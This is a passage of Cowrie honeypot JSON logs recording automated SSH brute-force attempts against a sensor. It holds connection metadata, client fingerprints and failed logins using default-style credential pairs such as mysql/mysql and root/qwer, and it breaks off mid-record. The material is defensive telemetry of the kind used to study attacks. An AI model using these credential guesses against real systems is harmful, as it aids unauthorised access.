{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:00.165709Z","src_ip":"192.109.200.237","session":"cfc3b2b6f87b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:00.432869Z","src_ip":"192.109.200.237","session":"cfc3b2b6f87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:01.519211Z","src_ip":"192.109.200.237","session":"cfc3b2b6f87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"6121c5c95b86","protocol":"ssh","message":"New connection: 192.109.200.237:50992 (159.203.135.109:22) [session: 6121c5c95b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:03.200287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:03.206768Z","src_ip":"192.109.200.237","session":"6121c5c95b86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:03.295214Z","src_ip":"192.109.200.237","session":"6121c5c95b86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:03.550128Z","src_ip":"192.109.200.237","session":"6121c5c95b86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:04.636856Z","src_ip":"192.109.200.237","session":"6121c5c95b86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51006,"dst_ip":"159.203.135.109","dst_port":22,"session":"1243f0cffde9","protocol":"ssh","message":"New connection: 192.109.200.237:51006 (159.203.135.109:22) [session: 1243f0cffde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:06.315257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:06.343560Z","src_ip":"192.109.200.237","session":"1243f0cffde9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:06.482715Z","src_ip":"192.109.200.237","session":"1243f0cffde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:06.733133Z","src_ip":"192.109.200.237","session":"1243f0cffde9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:07.819008Z","src_ip":"192.109.200.237","session":"1243f0cffde9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f625b5e19dd7","protocol":"ssh","message":"New connection: 192.109.200.237:51022 (159.203.135.109:22) [session: f625b5e19dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:09.469854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:09.477963Z","src_ip":"192.109.200.237","session":"f625b5e19dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:09.562696Z","src_ip":"192.109.200.237","session":"f625b5e19dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:09.812662Z","src_ip":"192.109.200.237","session":"f625b5e19dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:10.902319Z","src_ip":"192.109.200.237","session":"f625b5e19dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49722,"dst_ip":"159.203.135.109","dst_port":22,"session":"0568db0d4698","protocol":"ssh","message":"New connection: 192.109.200.237:49722 (159.203.135.109:22) [session: 0568db0d4698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:12.618320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:12.623802Z","src_ip":"192.109.200.237","session":"0568db0d4698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffaf5416b73a","protocol":"telnet","message":"New connection: 192.119.13.58:42230 (10.17.0.5:23) [session: ffaf5416b73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:12.680109Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:12.710990Z","src_ip":"192.109.200.237","session":"0568db0d4698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:12.961277Z","src_ip":"192.109.200.237","session":"0568db0d4698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:14.101544Z","src_ip":"192.109.200.237","session":"0568db0d4698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49750,"dst_ip":"159.203.135.109","dst_port":22,"session":"364922914e88","protocol":"ssh","message":"New connection: 192.109.200.237:49750 (159.203.135.109:22) [session: 364922914e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:15.711761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:15.719021Z","src_ip":"192.109.200.237","session":"364922914e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:15.802981Z","src_ip":"192.109.200.237","session":"364922914e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:16.051647Z","src_ip":"192.109.200.237","session":"364922914e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45508,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed395609366","protocol":"ssh","message":"New connection: 103.75.182.198:45508 (159.203.135.109:22) [session: 1ed395609366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:16.410971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:16.416923Z","src_ip":"103.75.182.198","session":"1ed395609366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:16.689670Z","src_ip":"103.75.182.198","session":"1ed395609366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:17.136914Z","src_ip":"192.109.200.237","session":"364922914e88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer","message":"login attempt [root/qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:17.414929Z","src_ip":"103.75.182.198","session":"1ed395609366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:18.663735Z","src_ip":"103.75.182.198","session":"1ed395609366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb9a136b974","protocol":"ssh","message":"New connection: 192.109.200.237:49770 (159.203.135.109:22) [session: feb9a136b974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:18.917780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:18.934715Z","src_ip":"192.109.200.237","session":"feb9a136b974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:19.021149Z","src_ip":"192.109.200.237","session":"feb9a136b974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:19.272046Z","src_ip":"192.109.200.237","session":"feb9a136b974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:20.357958Z","src_ip":"192.109.200.237","session":"feb9a136b974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58290,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fae53c4d8a","protocol":"ssh","message":"New connection: 192.109.200.237:58290 (159.203.135.109:22) [session: b1fae53c4d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:21.969000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:00:21.973659Z","src_ip":"192.109.200.237","session":"b1fae53c4d8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com"